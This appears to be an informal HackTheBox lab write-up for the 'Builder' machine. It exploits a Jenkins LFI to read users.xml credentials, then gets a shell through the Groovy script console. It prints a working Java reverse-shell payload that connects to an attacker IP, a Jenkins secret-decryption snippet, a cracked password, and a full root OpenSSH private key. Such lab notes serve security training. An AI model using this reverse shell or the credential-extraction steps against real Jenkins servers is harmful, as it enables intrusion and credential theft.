Builder#
Overview#
- OS: Linux
- IP: 10.129.230.220
- Difficulty: Medium
- Platform: HackTheBox
- OSCP: Yes
- Lists: N/A
Summary#
old jenkins interface got creds with hydra and LFI that exposed creds under users.xml, grabbed root ssh key and decrypted it with the CLI.
Loot#
| Takeaways | |
|---|---|
| Category | Details |
| Usernames+Passwords | jennifer:princess |
| Hashes | jennifer |
Enumeration#
I started broad, validated each finding, and then focused only on paths that were reproducible.
- nmap
- dirb
- sub
- 80
Exploitation#
using the LFI we found
im clueless, i know there is a user called jennifer but idk the name of the file that contains the password ahh let me check with gpt if not i mighthave to refer to the writeup
ok so lets check the users.xml file
jennifer_12108429903186576833
there is this, lets check the directory under and view the config xml for the hash
we get princess as the password
alternatively we could have just used hydra
OR
burp
anyways now that we are in lets look for where we can upload our reverse shell
https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
using this blog we will try to get
String host="10.10.15.208";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
and we have our shell
on searching we find this on stack overflow
interesting lets check the source and see if we can get
{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}lets use this to decrypt
println( hudson.util.Secret.decrypt("${ENCRYPTED_PASSPHRASE_OR_PASSWORD}") ) println( hudson.util.Secret.decrypt("{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}") )boom we have this
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----lets use this and ssh as root
just like that we have our flag